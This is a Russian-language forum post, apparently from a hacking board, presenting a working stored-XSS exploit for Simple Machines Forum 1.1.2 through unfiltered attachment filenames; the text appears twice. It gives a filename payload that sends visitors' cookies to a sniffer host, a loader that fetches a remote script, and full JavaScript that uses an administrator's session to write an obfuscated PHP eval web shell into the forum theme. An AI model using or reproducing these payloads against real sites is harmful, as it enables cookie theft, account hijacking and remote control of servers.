Cenarius
14.06.2007, 23:21
SMF Active XSS
(current version 1.1.2)
Отсутствует фильтрация atachment filename
Способы эксплуатации:
1. Получение cookie
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
(работает во всех браузерах)
attachfilename<img src=. width=1 height=1 onerror=javascript:new Image().src='http://sniffsite.com/s.gif?'+document.cookie>.txt
(в адресе sniffer'a все / заменяем на /)
Получаем cookie
2. Получение web shell'a
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
(работает во всех браузерах)
name<img src=. width=1 height=1 onerror=javascript:var s=document.createElement('script');s.src='http://site.com/smfexp.js';document.documentElement.firstChild. appendChild(s);>.txt
(все / в атрибуте src заменяем на /)
Это код простейшего динамического загрузчика скриптов
http://site.com/smfexp.js - адрес загружаемого скрипта
smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell
smfexp.js:
/*
SMF Active XSS Exploit by Cenarius
Email: ooohoow@gmail.com | Icq: 100732
Adds shell to index.php of default forum's template
*/
var shellCode = "<?php\n\n";
shellCode += "// Try to handle it with the upper level index.php. (it should know what to do.)\n";
shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1 BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n"; // @eval($_POST['cd']);
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += " include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += " exit;\n\n?>";
sendRequest("index.php", null, "GET", getSesc);
function getSesc(request) {
var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);
if(sessVerify) {
sendRequest(
"index.php?action=theme;th=1;sa=edit",
"entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
"POST", null);
}
}
function sendRequest(url, data, method, onLoadFunc) {
var request = createHttpRequest();
if(request) {
request.open(method, url, true);
if(method == "POST") {
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }
if(onLoadFunc) {
request.onreadystatechange = function() {
if(request.readyState == 4) {
onLoadFunc(request); }
}
}
request.send(data);
}
}
function createHttpRequest() {
var httpRequest = false;
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
catch(e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
try {
httpRequest = new XMLHttpRequest(); }
catch(e) {
httpRequest = false;
}
}
}
return httpRequest;
}
// EOF
По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
index.php будет содержать следующий код:
@eval($_POST['cd']);
Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
new Image().src='http://sniffsite.com/s.gif?'+document.cookie;
(current version 1.1.2)
Отсутствует фильтрация atachment filename
Способы эксплуатации:
1. Получение cookie
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
(работает во всех браузерах)
attachfilename<img src=. width=1 height=1 onerror=javascript:new Image().src='http://sniffsite.com/s.gif?'+document.cookie>.txt
(в адресе sniffer'a все / заменяем на /)
Получаем cookie
2. Получение web shell'a
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
(работает во всех браузерах)
name<img src=. width=1 height=1 onerror=javascript:var s=document.createElement('script');s.src='http://site.com/smfexp.js';document.documentElement.firstChild. appendChild(s);>.txt
(все / в атрибуте src заменяем на /)
Это код простейшего динамического загрузчика скриптов
http://site.com/smfexp.js - адрес загружаемого скрипта
smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell
smfexp.js:
/*
SMF Active XSS Exploit by Cenarius
Email: ooohoow@gmail.com | Icq: 100732
Adds shell to index.php of default forum's template
*/
var shellCode = "<?php\n\n";
shellCode += "// Try to handle it with the upper level index.php. (it should know what to do.)\n";
shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1 BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n"; // @eval($_POST['cd']);
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += " include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += " exit;\n\n?>";
sendRequest("index.php", null, "GET", getSesc);
function getSesc(request) {
var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);
if(sessVerify) {
sendRequest(
"index.php?action=theme;th=1;sa=edit",
"entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
"POST", null);
}
}
function sendRequest(url, data, method, onLoadFunc) {
var request = createHttpRequest();
if(request) {
request.open(method, url, true);
if(method == "POST") {
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }
if(onLoadFunc) {
request.onreadystatechange = function() {
if(request.readyState == 4) {
onLoadFunc(request); }
}
}
request.send(data);
}
}
function createHttpRequest() {
var httpRequest = false;
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
catch(e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
try {
httpRequest = new XMLHttpRequest(); }
catch(e) {
httpRequest = false;
}
}
}
return httpRequest;
}
// EOF
По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
index.php будет содержать следующий код:
@eval($_POST['cd']);
Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
new Image().src='http://sniffsite.com/s.gif?'+document.cookie;